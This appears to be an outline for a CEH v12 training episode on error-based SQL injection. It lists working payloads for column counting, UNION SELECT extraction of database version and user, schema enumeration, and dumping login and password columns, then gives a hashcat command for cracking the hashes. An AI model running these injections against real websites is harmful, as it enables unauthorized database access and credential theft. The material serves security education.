

- Filename: eccouncil-ceh31250-v12-15-2-1-error-based-sqli-attacks.md
- Show Name: CEHv12 (312-50)
- Topic Name: Web Application Hacking: SQL Injection
- Episode Name: Error-based SQLi Attacks

=====

Error-based SQLi Attacks

Objectives:

- Explain and demonstrate how to use Error-based SQLi to access sensitive information

-
- What do we mean by 'error' based?
 - Make web app print SQL error to screen
 - Confirms the SQL injection
 - How do we do this?
 - Testing for injection
 - The single-quote (') is your friend
 - Double-quotes can work as well
 - Now that we have a possible injection point, where do we go next?
 - ORDER BY
 - Sorts results in set by ascending or descending order
 - Or in this case by column number
 - `iron' order by 1 --`
 - Increase the number by 1 until you receive an error
 - Now you know how many columns
 - Now that we have the columns identified, what do we do next?
 - UNION SELECT
 - `iron' union select 1,2,3,4,5,6,7 --`
 - You can now see where usable areas are
 - They will be selected for output fields
 - `iron' union select 1,user(),3,4,@@version,6,7 --`
 - So, we're now interacting with the SQL database and it just dumps info to the web page! If we have this kind of control, where do we go from here?
 - TABLE enum
 - `...1,table_name,3,4,5,6,7 FROM information_schema.tables --`
 - COLUMN enum
 - `...1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_name='users' --`
 - Read COLUMN info
 - `...1,login,3,4,password,6,7 FROM users --`
 - Save creds to file
 - Check hash type with *hash-identifier* and crack with hashcat
 - `hashcat -m 100 -a 0 nixPass.txt /usr/share/wordlists/rockou.txt --force`